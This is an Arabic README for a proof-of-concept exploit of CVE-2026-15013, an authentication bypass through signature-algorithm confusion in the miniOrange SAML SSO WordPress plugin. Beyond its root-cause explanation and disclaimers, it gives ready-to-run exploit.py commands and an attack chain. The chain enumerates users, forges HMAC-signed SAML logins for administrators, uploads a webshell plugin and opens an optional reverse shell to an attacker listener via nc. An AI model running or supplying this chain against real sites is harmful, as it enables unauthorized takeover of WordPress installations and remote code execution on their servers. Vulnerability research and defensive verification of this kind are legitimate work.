CVE-2026-15013 — تجاوز المصادقة في miniOrange SAML SSO <= 5.4.3 (PoC)

إثبات المفهوم لـ CVE-2026-15013: تجاوز مصادقة دون تسجيل دخول عبر التباس خوارزمية التوقيع (HMAC-SHA1) في إضافة ووردبريس SAML Single Sign On – SSO Login من miniOrange (الإصدارات حتى 5.4.3 ضمناً).

للاستخدام في الاختبارات المصرّح بها فقط. استخدم هذا الكود حصرياً على الأنظمة التي تملكها أو لديك إذن صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني.

الاعتمادات

سجل CVE: https://www.cve.org/CVERecord?id=CVE-2026-15013

السبب الجذري

تثق الدالة Mo_SAML_Utilities::mo_saml_cast_key() بخوارزمية SignatureMethod الواردة في SAMLResponse التي يتحكم بها المهاجم. وعند ضبطها على HMAC-SHA1، تعيد الإضافة تفسير المفتاح العام RSA الخاص بموفّر الهوية (IdP) على أنه سرّ مشترك HMAC وتتحقق من التوقيع به. يمكن لأي شخص يستطيع قراءة شهادة IdP (التي غالباً ما تكون بيانات وصفية عامة) تزوير تأكيد (assertion) صالح لأي مستخدم ووردبريس موجود، بمن فيهم المسؤولون.

تم إصلاحها في 5.4.4+ (الخوارزميات غير الآمنة / HMAC مرفوضة).

CVSS

9.8 حرجة — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

المتطلبات

• Python 3.10+
• واجهة openssl لسطر الأوامر (لتحويل الشهادة إلى مفتاح عام)
• وصول شبكي إلى موقع ووردبريس المستهدف وإلى واصف SAML الخاص بموفّر الهوية IdP (لجلب المفتاح تلقائياً)

ثبّت التبعيات:

pip install -r requirements.txt

الاستخدام

السلسلة الكاملة (تعداد المستخدمين، تسجيل دخول HMAC، صلاحيات المسؤول، webshell):

python3 exploit.py -u https://TARGET.example

شل عكسي اختياري (شغّل المستمع أولاً: nc -lvnp 4444):

python3 exploit.py -u https://TARGET.example --lhost YOUR_IP --lport 4444

تسجيل الدخول فقط (بدون شل):

python3 exploit.py -u https://TARGET.example --no-shell

إعدادات يدوية:

python3 exploit.py -u https://TARGET.example \
  --issuer https://idp.example/realms/xxx \
  --nameid admin \
  -k ./idp-pubkey.pem

المعاملات

سير العمل

1. كشف إصدار ووردبريس والإضافة (يجب أن يكون <= 5.4.3)
2. اكتشاف ACS ومعرّف كيان SP ومُصدِر IdP
3. الحصول على شهادة توقيع IdP (من البيانات الوصفية) واستخلاص مفتاح PEM العام (سرّ HMAC)
4. تعداد مستخدمي ووردبريس
5. تزوير SAMLResponse موقّعة بـ HMAC-SHA1 لكل مستخدم مرشح
6. اختيار الحساب الذي يملك صلاحية install_plugins (مسؤول)
7. رفع إضافة webshell (exp/shell.php?c=id)
8. شل عكسي اختياري عبر --lhost

إخلاء مسؤولية

هذا المشروع مخصص للأغراض التعليمية وأبحاث الأمن المصرّح بها فقط. لا يتحمل المؤلفون والمساهمون أي مسؤولية عن إساءة الاستخدام. احصل دائماً على إذن كتابي قبل اختبار أنظمة الأطراف الثالثة. تم الإبلاغ عن الثغرة الأصلية عبر الإفصاح المسؤول؛ هذا المستودع يعرض إعادة الإنتاج فقط لأغراض التعلم والتحقق الدفاعي.

المراجع

• https://www.cve.org/CVERecord?id=CVE-2026-15013
• https://www.wordfence.com/threat-intel/vulnerabilities/id/ee95092d-6351-4612-872d-284165bc1201?source=cve
• إصلاح الإضافة: miniOrange SAML 5.4.4+

الترخيص

للاستخدام البحثي فقط. دون أي ضمان.